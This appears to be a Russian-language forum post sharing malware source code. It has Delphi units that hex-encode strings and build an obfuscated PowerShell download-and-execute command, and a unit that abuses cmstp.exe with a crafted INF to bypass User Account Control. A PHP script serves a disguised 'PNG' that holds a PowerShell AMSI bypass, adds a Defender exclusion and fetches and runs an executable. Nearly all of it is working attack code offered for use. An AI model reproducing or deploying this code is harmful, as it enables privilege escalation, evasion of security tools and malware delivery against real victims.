  hA:Array[0..1] of string=('3D','27');
  // '.ToCHaRarRay();[array]::Reverse($
  hB:Array[0..33] of string=('27','2E','54','6F','43','48','61','52','61','72',
  '52','61','79','28','29','3B','5B','61','72','72','61','79','5D','3A','3A',
  '52','65','76','65','72','73','65','28','24');
  // );$
  hC:Array[0..2] of string=('29','3B','24');
  // =($
  hD:Array[0..2] of string=('3D','28','24');
  //  -join '');IeX(IwR -UsEBaSiCPaRsInG $
  hE:Array[0..36] of string=('20','2D','6A','6F','69','6E','20','27','27','29',
  '3B','49','65','58','28','49','77','52','20','2D','55','73','45','42','61',
  '53','69','43','50','61','52','73','49','6E','47','20','24');
  // );"
  hF:Array[0..2] of string=('29','3B','22');
var
  POW, PR, URL, RVarA, RVarB: string;
  sX, sA, sB, sC, sD, sE, sF: string;
begin
  STime(i);
  POW := string(HexArrToStr(hPOW));
  POW := GWin(POW);
  PR := string(HexArrToStr(hPR));
  URL := string(HexArrToStr(hURL));
  URL := ReverseString(URL);
  sX := string(HexArrToStr(hX));
  sA := string(HexArrToStr(hA));
  sB := string(HexArrToStr(hB));
  sC := string(HexArrToStr(hC));
  sD := string(HexArrToStr(hD));
  sE := string(HexArrToStr(hE));
  sF := string(HexArrToStr(hF));
  RVarA := GenerateRandomWord(4);
  RVarB := GenerateRandomWord(4);
  ShExW($00, '', PChar(POW),
    PChar(PR+sX+RVarA+sA+URL+sB+RVarA+sC+RVarB+sD+RVarA+sE+RVarB+sF), '', $00);
end;

procedure ExMainB(i: integer);
begin
  STime(i);
  ExMainC(i);
end;

procedure ExMainA(i: integer);
begin
  STime(i);
  ExMainB(i);
end;

procedure ExMain(i: integer);
begin
  STime(i);
  ExMainA(i);
end;

end.

UsAccCtr.pas
Код:
unit UsAccCtr;

interface

type
  UINT = LongWord;
  UINT_PTR = System.UIntPtr;
  HWND = type UINT_PTR;
  LPCWSTR = PWideChar;
  LPWSTR = PWideChar;
  WPARAM = UINT_PTR;
  INT_PTR = System.IntPtr;
  LPARAM = INT_PTR;
  BOOL = LongBool;
  DWORD = LongWord;

const
  sh32 = 'shell32.dll';
  kr32 = 'kernel32.dll';
  usr32 = 'user32.dll';
  adv32 = 'advapi32.dll';
  shex = 'ShellExecuteW';
  exp = 'ExitProcess';
  A = 'FindWindowW';
  B = 'ShowWindow';
  C = 'SetForegroundWindow';
  D = 'PostMessageW';
  E = 'GetTickCount';
  F = 'ExpandEnvironmentStringsW';
  P = 'PeekMessageW';
  Q = 'TranslateMessage';
  R = 'DispatchMessageW';
  S = 'Sleep';
  T = 'OpenProcessToken';
  U = 'GetCurrentProcess';
  V = 'LookupPrivilegeValueW';
  W = 'CloseHandle';
  X = 'AdjustTokenPrivileges';
  AA = $00000002;
  BB = $80000000;
  WM_KEYDOWN = $0100;
  WM_KEYUP   = $0101;
  SW_RESTORE = 9;
  VK_RETURN  = 13;
  // [version]
  HCA:Array[0..8] of string=('5B','76','65','72','73','69','6F','6E','5D');
  // Signature=$chicago$
  HCB:Array[0..18] of string=('53','69','67','6E','61','74','75','72','65','3D',
  '24','63','68','69','63','61','67','6F','24');
  // AdvancedINF=2.5
  HCC:Array[0..14] of string=('41','64','76','61','6E','63','65','64','49','4E',
  '46','3D','32','2E','35');
  // [DefaultInstall]
  HCD:Array[0..15] of string=('5B','44','65','66','61','75','6C','74','49','6E',
  '73','74','61','6C','6C','5D');
  // CustomDestination=CustInstDestSectionAllUsers
  HCE:Array[0..44] of string=('43','75','73','74','6F','6D','44','65','73','74',
  '69','6E','61','74','69',
  '6F','6E','3D','43','75','73','74','49','6E','73','74','44','65','73','74',
  '53','65','63','74','69','6F','6E','41','6C','6C','55','73','65','72','73');
  // RunPreSetupCommands=RunPreSetupCommandsSection
  HCF:Array[0..45] of string=('52','75','6E','50','72','65','53','65','74','75',
  '70','43','6F','6D','6D',
  '61','6E','64','73','3D','52','75','6E','50','72','65','53','65','74','75',
  '70','43','6F','6D','6D','61','6E','64','73','53','65','63','74','69','6F',
  '6E');
  // [RunPreSetupCommandsSection]
  HCG:Array[0..27] of string=('5B','52','75','6E','50','72','65','53','65','74',
  '75','70','43','6F','6D',
  '6D','61','6E','64','73','53','65','63','74','69','6F','6E','5D');
  // taskkill /IM cmstp.exe /F
  HCH:Array[0..24] of string=('74','61','73','6B','6B','69','6C','6C','20','2F',
  '49','4D','20','63','6D','73','74','70','2E','65','78','65','20','2F','46');
  // [CustInstDestSectionAllUsers]
  HCI:Array[0..28] of string=('5B','43','75','73','74','49','6E','73','74','44',
  '65','73','74','53','65',
  '63','74','69','6F','6E','41','6C','6C','55','73','65','72','73','5D');
  // 49000,49001=AllUSer_LDIDSection, 7
  HCJ:Array[0..33] of string=('34','39','30','30','30','2C','34','39','30',
  '30','31','3D','41','6C','6C',
  '55','53','65','72','5F','4C','44','49','44','53','65','63','74','69','6F',
  '6E','2C','20','37');
  // [AllUSer_LDIDSection]
  HCK:Array[0..20] of string=('5B','41','6C','6C','55','53','65','72','5F',
  '4C','44','49','44','53','65','63','74','69','6F','6E','5D');
  // "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
  HCL:Array[0..119] of string=('22','48','4B','4C','4D','22','2C','20','22',
  '53','4F','46','54','57','41',
  '52','45','5C','4D','69','63','72','6F','73','6F','66','74','5C','57','69',
  '6E','64','6F','77','73','5C','43','75','72','72','65','6E','74','56','65',
  '72','73','69','6F','6E','5C','41','70','70','20','50','61','74','68','73',
  '5C','43','4D','4D','47','52','33','32','2E','45','58','45','22','2C','20',
  '22','50','72','6F','66','69','6C','65','49','6E','73','74','61','6C','6C',
  '50','61','74','68','22','2C','20','22','25','55','6E','65','78','70','65',
  '63','74','65','64','45','72','72','6F','72','25','22','2C','20','22','22');
  // [Strings]
  HCM:Array[0..8] of string=('5B','53','74','72','69','6E','67','73','5D');
  // ServiceName="
  HCN:Array[0..12] of string=('53','65','72','76','69','63','65','4E','61',
  '6D','65','3D','22');
  // ShortSvcName="
  HCO:Array[0..13] of string=('53','68','6F','72','74','53','76','63','4E',
  '61','6D','65','3D','22');
    // VPN
  hVPN:Array[0..2] of string=('56','50','4E');

function GWin(CM: string): string;
procedure PrvUp(TFile: string);
function ShExW(hWnd: THandle; Operation, FileName, Parameters,
Directory: WideString; ShowW: Integer): HINST;

implementation

uses SourceCode;

function FindWindow(lpClassName, lpWindowName: LPCWSTR): HWND; stdcall;
external usr32 name A;

function ShowWindow(hWnd: HWND; nCmdShow: Integer): BOOL; stdcall;
external usr32 name B;

function SetForegroundWindow(hWnd: HWND): BOOL; stdcall;
external usr32 name C;

function PostMessage(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): BOOL; stdcall;
external usr32 name D;

function GetTickCount: DWORD; stdcall;
external kr32 name E;

function ExpandEnvironmentStrings(lpSrc: LPCWSTR; lpDst: LPWSTR;
  nSize: DWORD): DWORD; stdcall;
external kr32 name F;

function ShExW; external sh32 name shex;

procedure CrInfFile(TFile, TInfFile: string);
var
  F: TextFile;
  VPN: string;
begin
  VPN := string(HexArrToStr(hVPN)); // VPN
  AssignFile(F, TInfFile);
  try
    Rewrite(F);
    Writeln(F,string(HexArrToStr(HCA)));
    Writeln(F,string(HexArrToStr(HCB)));
    Writeln(F,string(HexArrToStr(HCC)));
    Writeln(F,string(HexArrToStr(HCD)));
    Writeln(F,string(HexArrToStr(HCE)));
    Writeln(F,string(HexArrToStr(HCF)));
    Writeln(F,string(HexArrToStr(HCG)));
    Writeln(F,'"'+TFile+'"');
    Writeln(F,string(HexArrToStr(HCH)));
    Writeln(F,string(HexArrToStr(HCI)));
    Writeln(F,string(HexArrToStr(HCJ)));
    Writeln(F,string(HexArrToStr(HCK)));
    Writeln(F,string(HexArrToStr(HCL)));
    Writeln(F,string(HexArrToStr(HCM)));
    Writeln(F,string(HexArrToStr(HCN))+VPN+'"');
    Writeln(F,string(HexArrToStr(HCO))+VPN+'"');
  finally
    CloseFile(F);
  end;
end;

function GWin(CM: string): string;
var
  buff: array[0..$FF] of char;
begin
  ExpandEnvironmentStrings(PChar(CM), buff, SizeOf(buff));
  Result := buff;
end;

procedure TCMSTPWatcher(s: Integer);
var
  hWnd: THandle;
  StartTime, CurrentTime: DWORD;
  Duration: DWORD;
  VPN: string;
begin
  Duration := s;
  StartTime := GetTickCount;
  CurrentTime := StartTime;
  VPN := string(HexArrToStr(hVPN)); // VPN
  repeat
    hWnd := FindWindow(nil, PChar(VPN));
    if hWnd <> 0 then
    begin
      ShowWindow(hWnd, SW_RESTORE);
      SetForegroundWindow(hWnd);
      PostMessage(hWnd, WM_KEYDOWN, VK_RETURN, 0);
      PostMessage(hWnd, WM_KEYUP, VK_RETURN, 0);
      Break;
    end;
  until (CurrentTime - StartTime >= Duration);
end;


procedure PrvUp(TFile: string);
const
  // %APPDATA%\Microsoft\Windows\Templates
  hDIR:Array[0..36] of string=('25','41','50','50','44','41','54','41','25',
  '5C','4D','69','63','72','6F','73','6F','66','74','5C','57','69','6E','64',
  '6F','77','73','5C','54','65','6D','70','6C','61','74','65','73');
  // CMSTP.inf
  hCMSTP:Array[0..8] of string=('43','4D','53','54','50','2E','69','6E','66');
  // %WINDIR%\System32\cmstp.exe
  hFCMSTP:Array[0..26] of string=('25','57','49','4E','44','49','52','25','5C',
  '53','79','73','74','65','6D','33','32','5C','63','6D','73','74','70','2E',
  '65','78','65');
  // /ni /au
  hPARM:Array[0..7] of string=('2F','6E','69','20','2F','61','75','20');
var
  DIR, InfFile, FCMSTP, PARM: string;
begin
  DIR := string(HexArrToStr(hDIR)); // %APPDATA%\Microsoft\Windows\Templates
  DIR := GWin(DIR); // C:\Users\Home\AppData\Roaming\Microsoft\Windows\Templates
  InfFile := DIR + '\' + string(HexArrToStr(hCMSTP));
  FCMSTP := string(HexArrToStr(hFCMSTP)); // %WINDIR%\System32\cmstp.exe
  FCMSTP := GWin(FCMSTP); // C:\Windows\System32\cmstp.exe
  CrInfFile(TFile, InfFile); // создаём ини файл в доверенной директории
  PARM := string(HexArrToStr(hPARM)); // /ni /au
  ShExW(0, '', PChar(FCMSTP),
   PChar(PARM + InfFile), '', 6); // запускаем cmstp
  TCMSTPWatcher(10000); // ожидаем появления окна cmstp в течении 10 секунд
  ExitProcess(0); // завершаем себя
end;

end.

PNG.php
PHP:
<?php
$param = $_GET['a'] ?? '';
$filename = __DIR__ . '\PNG.png';
if (!file_exists($filename)) {
    http_response_code(404);
    echo 'None';
    exit;
}
if ($param === '0') {
    header('Content-Type: text/plain; charset=utf-8');
    echo file_get_contents($filename);
} else {
    echo 'None';
}
?>

PNG.png
Код:
$FEIfwuioehfaiwyYOETWTRuwye = "ams" + "iI" + "ni"+"tFa";$EF8034uowieypowiue = "iled";$Ceoiuwjoeuyfw = "System.Mana"+"gement."+"Automation.Ams"+"iUtils";$DFiowjhOHWOHEOUF = $null;
sleep 3
$plaintext = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgkQ2VvaXV3am9ldXlmdykuR2V0RmllbGQoJEZFSWZ3dWlvZWhmYWl3eVlPRVRXVFJ1d3llICsgJEVGODAzNHVvd2lleXBvd2l1ZSwiTm9uUCIgKyAidWIiICsgImxpYyxTdCIgKyAiYXRpYyIpLlNldFZhbHVlKCRERmlvd2poT0hXT0hFT1VGLCR0cnVlKQ=="));
iex $plaintext
Add-MpPreference -ExclusionPath $env:TEMP;
$URL = "http://localhost:7777/putty.exe";
$randWord = "temp_" + -join ((65..90) + (97..122) | Get-Random -Count 6 | % {[char]$_});
$path = $env:tmp + "\" + $randWord + ".exe";
iwr $URL -o $path;
start-process $path;
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх